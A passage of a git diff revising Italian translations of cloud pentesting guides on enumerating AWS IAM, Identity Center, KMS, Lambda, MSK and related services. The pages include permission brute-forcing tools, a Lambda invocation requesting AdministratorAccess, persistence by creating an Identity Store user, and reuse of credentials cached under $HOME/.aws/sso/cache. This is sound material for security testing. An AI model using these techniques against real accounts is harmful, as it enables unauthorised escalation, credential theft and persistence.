**`list*`, `describe*`, `get*`** che può trovare utilizzando i messaggi di aiuto del cli `aws` e **restituirà le esecuzioni riuscite**. +Lo strumento [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) è semplicemente uno script bash che eseguirà utilizzando il profilo indicato tutte le azioni **`list*`, `describe*`, `get*`** che può trovare utilizzando i messaggi di aiuto della CLI di `aws` e **restituirà le esecuzioni riuscite**. ```bash # Bruteforce permissions bash bf-aws-permissions.sh -p default > /tmp/bf-permissions-verbose.txt ``` #### bf-aws-perms-simulate -Lo strumento [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) può trovare le tue attuali autorizzazioni (o quelle di altri principali) se hai l'autorizzazione **`iam:SimulatePrincipalPolicy`** +Lo strumento [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) può trovare le tue attuali autorizzazioni (o quelle di altri principi) se hai l'autorizzazione **`iam:SimulatePrincipalPolicy`** ```bash # Ask for permissions python3 aws_permissions_checker.py --profile [--arn ] ``` #### Perms2ManagedPolicies -Se hai trovato **alcuni permessi che il tuo utente ha**, e pensi che siano concessi da un **ruolo AWS gestito** (e non da uno personalizzato). Puoi utilizzare lo strumento [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) per controllare tutti i **ruoli gestiti AWS che concedono i permessi che hai scoperto di avere**. +Se hai trovato **alcuni permessi che il tuo utente ha**, e pensi che siano concessi da un **ruolo AWS gestito** (e non da uno personalizzato). Puoi utilizzare lo strumento [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) per controllare tutti i **ruoli gestiti da AWS che concedono i permessi che hai scoperto di avere**. ```bash # Run example with my profile python3 aws-Perms2ManagedPolicies.py --profile myadmin --permissions-file example-permissions.txt @@ -132,7 +132,7 @@ python3 cloudtrail2IAM.py --prefix PREFIX --bucket_name BUCKET_NAME --profile PR Per utilizzare lo strumento [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam) devi prima scaricare tutti gli endpoint API AWS, da questi lo script **`generate_bruteforce_tests.py`** otterrà tutti gli **endpoint "list\_", "describe\_" e "get\_"**. E infine, cercherà di **accedervi** con le credenziali fornite e **indicherà se ha funzionato**. -(Nella mia esperienza, lo **strumento si blocca a un certo punto**, [**controlla questa soluzione**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) per cercare di risolvere il problema). +(Nella mia esperienza, **lo strumento si blocca a un certo punto**, [**controlla questa soluzione**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) per provare a risolvere il problema). > [!WARNING] > Nella mia esperienza, questo strumento è simile al precedente ma funziona peggio e controlla meno permessi. @@ -154,7 +154,7 @@ python3 enumerate-iam.py --access-key ACCESS_KEY --secret-key SECRET_KEY [--sess ``` #### weirdAAL -Puoi anche utilizzare lo strumento [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki). Questo strumento controllerà **diverse operazioni comuni su diversi servizi comuni** (verificherà alcune autorizzazioni di enumerazione e anche alcune autorizzazioni di privesc). Ma controllerà solo i controlli codificati (l'unico modo per controllare più cose è codificare più test). +Puoi anche utilizzare lo strumento [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki). Questo strumento controllerà **diverse operazioni comuni su diversi servizi comuni** (verificherà alcuni permessi di enumerazione e anche alcuni permessi di privesc). Ma controllerà solo i controlli codificati (l'unico modo per controllare più cose è codificare più test). ```bash # Install git clone https://github.com/carnal0wnage/weirdAAL.git @@ -208,7 +208,7 @@ steampipe dashboard #### \ -Nessuno degli strumenti precedenti è in grado di controllare quasi tutti i permessi, quindi se conosci uno strumento migliore invia una PR! +Nessuno degli strumenti precedenti è in grado di controllare tutte le autorizzazioni, quindi se conosci uno strumento migliore invia una PR! ### Accesso Non Autenticato @@ -224,7 +224,7 @@ Nella pagina seguente puoi controllare come **abuse IAM permissions to escalate ../aws-privilege-escalation/aws-iam-privesc.md {{#endref}} -### Post Sfruttamento IAM +### Post Exploitation IAM {{#ref}} ../aws-post-exploitation/aws-iam-post-exploitation.md @@ -236,9 +236,9 @@ Nella pagina seguente puoi controllare come **abuse IAM permissions to escalate ../aws-persistence/aws-iam-persistence.md {{#endref}} -## Centro Identità IAM +## IAM Identity Center -Puoi trovare una **descrizione del Centro Identità IAM** in: +Puoi trovare una **description of IAM Identity Center** in: {{#ref}} ../aws-basic-information/ @@ -260,13 +260,13 @@ sso_region = us-east-1 Gli elementi principali del Centro Identità sono: - Utenti e gruppi -- Set di Permessi: Hanno politiche collegate +- Set di permessi: hanno politiche collegate - Account AWS -Poi, vengono create relazioni in modo che utenti/gruppi abbiano Set di Permessi su un Account AWS. +Poi, vengono create relazioni affinché utenti/gruppi abbiano Set di permessi su Account AWS. > [!NOTE] -> Nota che ci sono 3 modi per allegare politiche a un Set di Permessi. Allegare politiche gestite da AWS, politiche gestite dal cliente (queste politiche devono essere create in tutti gli account che il Set di Permessi sta influenzando) e politiche inline (definite lì). +> Nota che ci sono 3 modi per allegare politiche a un Set di permessi. Allegare politiche gestite da AWS, politiche gestite dal cliente (queste politiche devono essere create in tutti gli account che il Set di permessi sta influenzando) e politiche inline (definite lì). ```bash # Check if IAM Identity Center is used aws sso-admin list-instances @@ -300,7 +300,7 @@ aws identitystore list-group-memberships --identity-store-id --group- ## Get memberships or a user or a group aws identitystore list-group-memberships-for-member --identity-store-id --member-id ``` -### Local Enumeration +### Enumerazione Locale È possibile creare all'interno della cartella `$HOME/.aws` il file config per configurare i profili accessibili tramite SSO, ad esempio: ```ini @@ -327,7 +327,7 @@ aws sso login --profile my-sso-profile # Use dependent-profile aws s3 ls --profile dependent-profile ``` -Quando un **profilo da SSO è utilizzato** per accedere a alcune informazioni, le credenziali sono **memorizzate** in un file all'interno della cartella **`$HOME/.aws/sso/cache`**. Pertanto possono essere **lette e utilizzate da lì**. +Quando un **profilo da SSO è utilizzato** per accedere a delle informazioni, le credenziali sono **memorizzate** in un file all'interno della cartella **`$HOME/.aws/sso/cache`**. Pertanto possono essere **letto e utilizzato da lì**. Inoltre, **ulteriori credenziali** possono essere memorizzate nella cartella **`$HOME/.aws/cli/cache`**. Questa directory di cache è utilizzata principalmente quando si **lavora con i profili AWS CLI** che utilizzano credenziali di utenti IAM o **assumono** ruoli tramite IAM (senza SSO). Esempio di configurazione: ```ini @@ -349,7 +349,7 @@ external_id = 123456 ../aws-privilege-escalation/aws-sso-and-identitystore-privesc.md {{#endref}} -### Post sfruttamento +### Post Exploitation {{#ref}} ../aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md @@ -357,15 +357,15 @@ external_id = 123456 ### Persistenza -#### Crea un utente e assegna permessi ad esso +#### Crea un utente e assegna i permessi ad esso ```bash # Create user identitystore:CreateUser aws identitystore create-user --identity-store-id --user-name privesc --display-name privesc --emails Value=sdkabflvwsljyclpma@tmmbt.net,Type=Work,Primary=True --name Formatted=privesc,FamilyName=privesc,GivenName=privesc ## After creating it try to login in the console using the selected username, you will receive an email with the code and then you will be able to select a password ``` -- Crea un gruppo e assegna permessi e imposta su di esso un utente controllato +- Crea un gruppo e assegna i permessi e imposta su di esso un utente controllato - Dai permessi extra a un utente o gruppo controllato -- Per impostazione predefinita, solo gli utenti con permessi dall'Account di Gestione potranno accedere e controllare l'IAM Identity Center. +- Per impostazione predefinita, solo gli utenti con permessi dell'Account di Gestione potranno accedere e controllare l'IAM Identity Center. Tuttavia, è possibile tramite Delegate Administrator consentire agli utenti di un account diverso di gestirlo. Non avranno esattamente gli stessi permessi, ma potranno eseguire [**attività di gestione**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html). diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md index 497f5949e..86ec038fd 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md @@ -31,7 +31,7 @@ Per **impostazione predefinita:** - Fornisce all'**IAM dell'** **account AWS che possiede la chiave KMS accesso** per gestire l'accesso alla chiave KMS tramite IAM. -A differenza di altre politiche delle risorse AWS, una **politica della chiave KMS di AWS non concede automaticamente permessi a nessuno dei principi dell'account**. Per concedere permessi agli amministratori dell'account, **la politica della chiave deve includere una dichiarazione esplicita** che fornisca questo permesso, come questa. +A differenza di altre politiche delle risorse AWS, una **politica della chiave KMS di AWS non fornisce automaticamente permessi a nessuno dei principi dell'account**. Per fornire permessi agli amministratori dell'account, **la politica della chiave deve includere una dichiarazione esplicita** che fornisca questo permesso, come questa. - Senza consentire all'account(`"AWS": "arn:aws:iam::111122223333:root"`) i permessi IAM non funzioneranno. @@ -39,7 +39,7 @@ A differenza di altre politiche delle risorse AWS, una **politica della chiave K **Senza questo permesso, le politiche IAM che consentono l'accesso alla chiave sono inefficaci**, sebbene le politiche IAM che negano l'accesso alla chiave siano ancora efficaci. -- **Riduce il rischio che la chiave diventi ingovernabile** dando permessi di controllo accesso agli amministratori dell'account, incluso l'utente root dell'account, che non può essere eliminato. +- **Riduce il rischio che la chiave diventi ingovernabile** fornendo permessi di controllo degli accessi agli amministratori dell'account, incluso l'utente root dell'account, che non può essere eliminato. **Esempio di politica predefinita**: ```json @@ -93,24 +93,24 @@ Amministratore delle chiavi per impostazione predefinita: ### Rotazione dei CMK - Più a lungo la stessa chiave rimane in uso, più dati vengono crittografati con quella chiave, e se quella chiave viene compromessa, allora l'area di esplosione dei dati è a rischio. Inoltre, più a lungo la chiave è attiva, maggiore è la probabilità che venga compromessa. -- **KMS ruota le chiavi dei clienti ogni 365 giorni** (o puoi eseguire il processo manualmente quando vuoi) e **le chiavi gestite da AWS ogni 3 anni** e questo tempo non può essere cambiato. +- **KMS ruota le chiavi dei clienti ogni 365 giorni** (o puoi eseguire il processo manualmente quando vuoi) e **chiavi gestite da AWS ogni 3 anni** e questo tempo non può essere cambiato. - **Le chiavi più vecchie vengono mantenute** per decrittografare i dati che sono stati crittografati prima della rotazione - In caso di compromissione, ruotare la chiave non rimuoverà la minaccia poiché sarà possibile decrittografare tutti i dati crittografati con la chiave compromessa. Tuttavia, i **nuovi dati saranno crittografati con la nuova chiave**. -- Se il **CMK** è in stato di **disabilitato** o **in attesa di** **cancellazione**, KMS **non eseguirà una rotazione della chiave** fino a quando il CMK non sarà riattivato o la cancellazione non sarà annullata. +- Se il **CMK** è in stato di **disabilitato** o **in attesa di** **cancellazione**, KMS **non eseguirà una rotazione della chiave** fino a quando il CMK non sarà riabilitato o la cancellazione non sarà annullata. #### Rotazione manuale -- È necessario **creare un nuovo CMK**, quindi viene creato un nuovo CMK-ID, quindi dovrai **aggiornare** qualsiasi **applicazione** per **riferirsi** al nuovo CMK-ID. -- Per semplificare questo processo, puoi **utilizzare alias per riferirti a un key-id** e poi semplicemente aggiornare la chiave a cui si riferisce l'alias. -- Devi **mantenere le vecchie chiavi per decrittografare i vecchi file** crittografati con essa. +- È necessario **creare un nuovo CMK**, quindi, viene creato un nuovo CMK-ID, quindi dovrai **aggiornare** qualsiasi **applicazione** per **riferirsi** al nuovo CMK-ID. +- Per semplificare questo processo puoi **utilizzare alias per riferirti a un key-id** e poi semplicemente aggiornare la chiave a cui l'alias si riferisce. +- Devi **mantenere le vecchie chiavi per decrittografare i vecchi file** crittografati con esse. Puoi importare chiavi dalla tua infrastruttura di chiavi on-premises. ### Altre informazioni rilevanti su KMS -KMS è tariffato in base al numero di richieste di crittografia/decrittografia ricevute da tutti i servizi al mese. +KMS è tariffato per il numero di richieste di crittografia/decrittografia ricevute da tutti i servizi al mese. -KMS ha una completa integrazione di audit e conformità **con CloudTrail**; qui puoi auditare tutte le modifiche effettuate su KMS. +KMS ha piena audit e compliance **integrazione con CloudTrail**; qui puoi auditare tutte le modifiche effettuate su KMS. Con la politica KMS puoi fare quanto segue: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md index 47a7d9ff5..285f9c3eb 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md @@ -4,9 +4,9 @@ ## Lambda -Amazon Web Services (AWS) Lambda è descritta come un **servizio di calcolo** che consente l'esecuzione di codice senza la necessità di provisioning o gestione dei server. È caratterizzata dalla sua capacità di **gestire automaticamente l'allocazione delle risorse** necessarie per l'esecuzione del codice, garantendo funzionalità come alta disponibilità, scalabilità e sicurezza. Un aspetto significativo di Lambda è il suo modello di pricing, dove **i costi sono basati esclusivamente sul tempo di calcolo utilizzato**, eliminando la necessità di investimenti iniziali o obblighi a lungo termine. +Amazon Web Services (AWS) Lambda è descritta come un **servizio di calcolo** che consente l'esecuzione di codice senza la necessità di provisioning o gestione del server. È caratterizzata dalla sua capacità di **gestire automaticamente l'allocazione delle risorse** necessarie per l'esecuzione del codice, garantendo funzionalità come alta disponibilità, scalabilità e sicurezza. Un aspetto significativo di Lambda è il suo modello di pricing, dove **i costi sono basati esclusivamente sul tempo di calcolo utilizzato**, eliminando la necessità di investimenti iniziali o obblighi a lungo termine. -Per chiamare una lambda è possibile invocarla **con la frequenza desiderata** (con Cloudwatch), **esporre** un **endpoint URL** e chiamarlo, invocarlo tramite **API Gateway** o anche in base a **eventi** come **cambiamenti** nei dati in un **S3** bucket o aggiornamenti a una tabella **DynamoDB**. +Per chiamare una lambda è possibile farlo **tanto frequentemente quanto si desidera** (con Cloudwatch), **esporre** un **endpoint URL** e chiamarlo, chiamarlo tramite **API Gateway** o anche in base a **eventi** come **cambiamenti** nei dati in un **S3** bucket o aggiornamenti a una tabella **DynamoDB**. Il **codice** di una lambda è memorizzato in **`/var/task`**. @@ -44,13 +44,13 @@ Un layer Lambda è un archivio .zip che **può contenere codice aggiuntivo** o a È possibile includere fino a **cinque layer per funzione**. Quando includi un layer in una funzione, i **contenuti vengono estratti nella directory `/opt`** nell'ambiente di esecuzione. -Per **definizione**, i **layer** che crei sono **privati** al tuo account AWS. Puoi scegliere di **condividere** un layer con altri account o di **rendere** il layer **pubblico**. Se le tue funzioni consumano un layer pubblicato da un account diverso, le tue funzioni possono **continuare a utilizzare la versione del layer dopo che è stata eliminata, o dopo che il tuo permesso di accesso al layer è stato revocato**. Tuttavia, non puoi creare una nuova funzione o aggiornare funzioni utilizzando una versione di layer eliminata. +Per **definizione**, i **layer** che crei sono **privati** al tuo account AWS. Puoi scegliere di **condividere** un layer con altri account o di **rendere** il layer **pubblico**. Se le tue funzioni consumano un layer pubblicato da un altro account, le tue funzioni possono **continuare a utilizzare la versione del layer dopo che è stata eliminata, o dopo che il tuo permesso di accesso al layer è stato revocato**. Tuttavia, non puoi creare una nuova funzione o aggiornare funzioni utilizzando una versione di layer eliminata. Le funzioni distribuite come immagine del contenitore non utilizzano layer. Invece, impacchetti il tuo runtime preferito, librerie e altre dipendenze nell'immagine del contenitore quando costruisci l'immagine. ### Lambda Extensions -Le estensioni Lambda migliorano le funzioni integrandosi con vari **strumenti di monitoraggio, osservabilità, sicurezza e governance**. Queste estensioni, aggiunte tramite [.zip archivi utilizzando i layer Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) o incluse nelle [distribuzioni di immagini del contenitore](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operano in due modalità: **interna** ed **esterna**. +Le estensioni Lambda migliorano le funzioni integrandosi con vari **strumenti di monitoraggio, osservabilità, sicurezza e governance**. Queste estensioni, aggiunte tramite [.zip archive utilizzando i layer Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) o incluse nelle [distribuzioni di immagini del contenitore](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operano in due modalità: **interna** ed **esterna**. - Le **estensioni interne** si fondono con il processo di runtime, manipolando il suo avvio utilizzando **variabili ambientali specifiche del linguaggio** e **script wrapper**. Questa personalizzazione si applica a una gamma di runtime, inclusi **Java Correto 8 e 11, Node.js 10 e 12, e .NET Core 3.1**. - Le **estensioni esterne** vengono eseguite come processi separati, mantenendo l'allineamento operativo con il ciclo di vita della funzione Lambda. Sono compatibili con vari runtime come **Node.js 10 e 12, Python 3.7 e 3.8, Ruby 2.5 e 2.7, Java Corretto 8 e 11, .NET Core 3.1**, e **runtime personalizzati**. @@ -92,7 +92,7 @@ aws lambda list-event-source-mappings aws lambda list-code-signing-configs aws lambda list-functions-by-code-signing-config --code-signing-config-arn ``` -### Invocare una lambda +### Invochare una lambda #### Manuale ```bash @@ -103,12 +103,12 @@ aws lambda invoke --function-name FUNCTION_NAME /tmp/out ## user_name = event['user_name'] aws lambda invoke --function-name --cli-binary-format raw-in-base64-out --payload '{"policy_names": ["AdministratorAccess], "user_name": "sdf"}' out.txt ``` -#### Via URL esposta +#### Tramite URL esposta ```bash aws lambda list-function-url-configs --function-name #Get lambda URL aws lambda get-function-url-config --function-name #Get lambda URL ``` -#### Call Lambda function via URL +#### Chiama la funzione Lambda tramite URL Ora è il momento di scoprire le possibili funzioni lambda da eseguire: ``` @@ -152,7 +152,7 @@ Nella pagina seguente puoi controllare come **abusare dei permessi di Lambda per ../aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md {{#endref}} -### Post Sfruttamento +### Post Exploitation {{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/ diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md index 8c1c152ee..e890d06f5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md @@ -4,7 +4,7 @@ ## AWS - Lightsail -Amazon Lightsail offre un modo **facile** e leggero per i nuovi utenti del cloud di sfruttare i servizi di cloud computing di AWS. Ti consente di distribuire servizi web comuni e personalizzati in pochi secondi tramite **VM** (**EC2**) e **contenitori**.\ +Amazon Lightsail offre un modo **facile** e leggero per i nuovi utenti del cloud di sfruttare i servizi di cloud computing di AWS. Ti consente di distribuire servizi web comuni e personalizzati in pochi secondi tramite **VM** (**EC2**) e **container**.\ È un **EC2 minimo + Route53 + ECS**. ### Enumeration @@ -34,7 +34,7 @@ aws lightsail get-key-pairs ### Metadati -**L'endpoint dei metadati è accessibile da lightsail**, ma le macchine sono in esecuzione in un **account AWS gestito da AWS** quindi non controlli **quali permessi vengono concessi**. Tuttavia, se trovi un modo per sfruttarli, staresti sfruttando direttamente AWS. +**L'endpoint dei metadati è accessibile da lightsail**, ma le macchine sono in esecuzione in un **account AWS gestito da AWS**, quindi non controlli **quali permessi vengono concessi**. Tuttavia, se trovi un modo per sfruttarli, staresti sfruttando direttamente AWS. ### Privesc @@ -42,7 +42,7 @@ aws lightsail get-key-pairs ../aws-privilege-escalation/aws-lightsail-privesc.md {{#endref}} -### Post Sfruttamento +### Post Exploitation {{#ref}} ../aws-post-exploitation/aws-lightsail-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md index 45d5cde00..59a73fb5d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md @@ -4,20 +4,20 @@ ## Amazon MQ -### Introduzione ai Broker di Messaggi +### Introduzione ai Message Brokers -**I broker di messaggi** fungono da intermediari, facilitando la comunicazione tra diversi sistemi software, che possono essere costruiti su piattaforme varie e programmati in lingue diverse. **Amazon MQ** semplifica il deployment, l'operazione e la manutenzione dei broker di messaggi su AWS. Fornisce servizi gestiti per **Apache ActiveMQ** e **RabbitMQ**, garantendo un provisioning senza soluzione di continuità e aggiornamenti automatici delle versioni software. +**Message brokers** fungono da intermediari, facilitando la comunicazione tra diversi sistemi software, che possono essere costruiti su piattaforme varie e programmati in lingue diverse. **Amazon MQ** semplifica il deployment, l'operazione e la manutenzione dei message brokers su AWS. Fornisce servizi gestiti per **Apache ActiveMQ** e **RabbitMQ**, garantendo provisioning senza soluzione di continuità e aggiornamenti automatici delle versioni software. ### AWS - RabbitMQ -RabbitMQ è un noto **software di gestione delle code di messaggi**, conosciuto anche come _broker di messaggi_ o _gestore di code_. Fondamentalmente è un sistema in cui le code sono configurate. Le applicazioni interagiscono con queste code per **inviare e ricevere messaggi**. I messaggi in questo contesto possono contenere una varietà di informazioni, che vanno da comandi per avviare processi su altre applicazioni (potenzialmente su server diversi) a semplici messaggi di testo. I messaggi sono trattenuti dal software del gestore di code fino a quando non vengono recuperati e elaborati da un'applicazione ricevente. AWS fornisce una soluzione facile da usare per ospitare e gestire i server RabbitMQ. +RabbitMQ è un noto **software di messaggistica**, conosciuto anche come _message broker_ o _queue manager_. Fondamentalmente è un sistema in cui le code sono configurate. Le applicazioni interagiscono con queste code per **inviare e ricevere messaggi**. I messaggi in questo contesto possono contenere una varietà di informazioni, che vanno da comandi per avviare processi su altre applicazioni (potenzialmente su server diversi) a semplici messaggi di testo. I messaggi sono trattenuti dal software del queue-manager fino a quando non vengono recuperati e elaborati da un'applicazione ricevente. AWS fornisce una soluzione facile da usare per ospitare e gestire i server RabbitMQ. ### AWS - ActiveMQ -Apache ActiveMQ® è un broker di messaggi open-source leader, basato su Java, noto per la sua versatilità. Supporta più protocolli standard del settore, offrendo ampia compatibilità con i client su una vasta gamma di lingue e piattaforme. Gli utenti possono: +Apache ActiveMQ® è un **message broker** open-source leader, basato su Java, noto per la sua versatilità. Supporta più protocolli standard del settore, offrendo ampia compatibilità con i client su una vasta gamma di lingue e piattaforme. Gli utenti possono: - Connettersi con client scritti in JavaScript, C, C++, Python, .Net e altro. -- Sfruttare il protocollo **AMQP** per integrare applicazioni provenienti da diverse piattaforme. +- Sfruttare il protocollo **AMQP** per integrare applicazioni da diverse piattaforme. - Utilizzare **STOMP** su websockets per scambi di messaggi tra applicazioni web. - Gestire dispositivi IoT con **MQTT**. - Mantenere l'infrastruttura **JMS** esistente ed estenderne le capacità. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md index 7247e35f3..1af12fc1a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md @@ -6,7 +6,7 @@ **Amazon Managed Streaming for Apache Kafka (Amazon MSK)** è un servizio completamente gestito, che facilita lo sviluppo e l'esecuzione di applicazioni che elaborano dati in streaming tramite **Apache Kafka**. Le operazioni del piano di controllo, inclusa la creazione, l'aggiornamento e la cancellazione di **cluster**, sono offerte da Amazon MSK. Il servizio consente l'utilizzo delle operazioni del piano dati di Apache Kafka, comprendenti la produzione e il consumo di dati. Funziona su **versioni open-source di Apache Kafka**, garantendo compatibilità con applicazioni, strumenti e plugin esistenti sia da parte dei partner che della **comunità Apache Kafka**, eliminando la necessità di modifiche nel codice dell'applicazione. -In termini di affidabilità, Amazon MSK è progettato per **rilevare automaticamente e recuperare da scenari di guasto del cluster prevalenti**, garantendo che le applicazioni di produttori e consumatori continuino le loro attività di scrittura e lettura dei dati con minime interruzioni. Inoltre, mira a ottimizzare i processi di replicazione dei dati cercando di **riutilizzare lo storage dei broker sostituiti**, riducendo così il volume di dati che deve essere replicato da Apache Kafka. +In termini di affidabilità, Amazon MSK è progettato per **rilevare automaticamente e recuperare da scenari di guasto del cluster prevalenti**, garantendo che le applicazioni di produttori e consumatori continuino le loro attività di scrittura e lettura dei dati con minime interruzioni. Inoltre, mira a ottimizzare i processi di replicazione dei dati cercando di **riutilizzare lo storage dei broker sostituiti**, riducendo così il volume di dati che devono essere replicati da Apache Kafka. ### **Tipi** @@ -14,11 +14,11 @@ Ci sono 2 tipi di cluster Kafka che AWS consente di creare: Provisioned e Server Dal punto di vista di un attaccante, è necessario sapere che: -- **Serverless non può essere direttamente pubblico** (può funzionare solo in una VPN senza alcun IP esposto pubblicamente). Tuttavia, **Provisioned** può essere configurato per ottenere un **IP pubblico** (per impostazione predefinita non lo fa) e configurare il **gruppo di sicurezza** per **esporre** le porte rilevanti. -- **Serverless** **supporta solo IAM** come metodo di autenticazione. **Provisioned** supporta l'autenticazione SASL/SCRAM (**password**), l'autenticazione **IAM**, l'autenticazione del AWS **Certificate** Manager (ACM) e l'accesso **non autenticato**. +- **Serverless non può essere direttamente pubblico** (può funzionare solo in una VPN senza alcun IP esposto pubblicamente). Tuttavia, **Provisioned** può essere configurato per ottenere un **IP pubblico** (di default non lo fa) e configurare il **gruppo di sicurezza** per **esporre** le porte rilevanti. +- **Serverless** **supporta solo IAM** come metodo di autenticazione. **Provisioned** supporta l'autenticazione SASL/SCRAM (**password**), l'autenticazione **IAM**, l'autenticazione AWS **Certificate** Manager (ACM) e l'accesso **non autenticato**. - Si noti che non è possibile esporre pubblicamente un Kafka Provisioned se l'accesso non autenticato è abilitato. -### Enumeration +### Enumerazione ```bash #Get clusters aws kafka list-clusters @@ -86,7 +86,7 @@ kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer ### Persistenza -Se hai **accesso alla VPC** dove si trova un Kafka Provisioned, potresti **abilitare l'accesso non autorizzato**, se **l'autenticazione SASL/SCRAM**, **leggi** la password dal segreto, dare alcune **altre autorizzazioni IAM a un utente controllato** (se si utilizza IAM o serverless) o persistere con **certificati**. +Se hai **accesso alla VPC** dove si trova un Kafka Provisioned, potresti **abilitare l'accesso non autorizzato**, se l'**autenticazione SASL/SCRAM**, **leggere** la password dal segreto, dare alcune **altre autorizzazioni IAM a un utente controllato** (se si utilizza IAM o serverless) o persistere con **certificati**. ## Riferimenti diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md index b6b041301..0a99f6a08 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md @@ -1,4 +1,4 @@ -# AWS - Altri Servizi Enum +# AWS - Enumerazione di Altri Servizi {{#include ../../../banners/hacktricks-training.md}} @@ -11,7 +11,7 @@ aws directconnect describe-interconnects aws directconnect describe-virtual-gateways aws directconnect describe-virtual-interfaces ``` -## Support +## Supporto In AWS puoi accedere ai casi di supporto attuali e precedenti tramite l'API ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md index 20135448e..673ab1247 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md @@ -4,21 +4,21 @@ ## Amazon Redshift -Redshift è un servizio completamente gestito che può scalare fino a oltre un petabyte di dimensione, utilizzato come un **data warehouse per soluzioni di big data**. Utilizzando i cluster Redshift, è possibile eseguire analisi sui propri dataset utilizzando strumenti di query basati su SQL e applicazioni di business intelligence per ottenere una maggiore comprensione della visione per la propria azienda. +Redshift è un servizio completamente gestito che può scalare fino a oltre un petabyte di dimensione, utilizzato come **data warehouse per soluzioni di big data**. Utilizzando i cluster Redshift, è possibile eseguire analisi sui propri dataset utilizzando strumenti di query basati su SQL e applicazioni di business intelligence per ottenere una maggiore comprensione della visione per la propria azienda. -**Redshift offre crittografia a riposo utilizzando una gerarchia di chiavi di crittografia a quattro livelli utilizzando KMS o CloudHSM per gestire il livello superiore delle chiavi**. **Quando la crittografia è abilitata per il tuo cluster, non può essere disabilitata e viceversa**. Quando hai un cluster non crittografato, non può essere crittografato. +**Redshift offre crittografia a riposo utilizzando una gerarchia di chiavi di crittografia a quattro livelli, utilizzando KMS o CloudHSM per gestire il livello superiore delle chiavi**. **Quando la crittografia è abilitata per il tuo cluster, non può essere disabilitata e viceversa**. Quando hai un cluster non crittografato, non può essere crittografato. -La crittografia per il tuo cluster può avvenire solo durante la sua creazione e, una volta crittografati, i dati, i metadati e qualsiasi snapshot sono anch'essi crittografati. I livelli di gerarchia delle chiavi di crittografia sono i seguenti: **il livello uno è la chiave master, il livello due è la chiave di crittografia del cluster, la CEK, il livello tre, la chiave di crittografia del database, la DEK, e infine il livello quattro, le chiavi di crittografia dei dati stesse**. +La crittografia per il tuo cluster può avvenire solo durante la sua creazione e, una volta crittografati, i dati, i metadati e qualsiasi snapshot sono anch'essi crittografati. I livelli di gerarchia delle chiavi di crittografia sono i seguenti: **il livello uno è la chiave master, il livello due è la chiave di crittografia del cluster, la CEK, il livello tre è la chiave di crittografia del database, la DEK, e infine il livello quattro, le chiavi di crittografia dei dati stesse**. ### KMS -Durante la creazione del tuo cluster, puoi selezionare la **chiave KMS predefinita** per Redshift o selezionare la tua **CMK**, che ti offre maggiore flessibilità nel controllo della chiave, specificamente da una prospettiva auditabile. +Durante la creazione del tuo cluster, puoi selezionare la **chiave KMS predefinita** per Redshift o selezionare il tuo **CMK**, che ti offre maggiore flessibilità nel controllo della chiave, specificamente da una prospettiva auditabile. La chiave KMS predefinita per Redshift viene creata automaticamente da Redshift la prima volta che l'opzione della chiave viene selezionata e utilizzata, ed è completamente gestita da AWS. -Questa chiave KMS viene quindi crittografata con la chiave master CMK, livello uno. Questa chiave di dati KMS crittografata viene quindi utilizzata come chiave di crittografia del cluster, la CEK, livello due. Questa CEK viene quindi inviata da KMS a Redshift dove viene memorizzata separatamente dal cluster. Redshift invia quindi questa CEK crittografata al 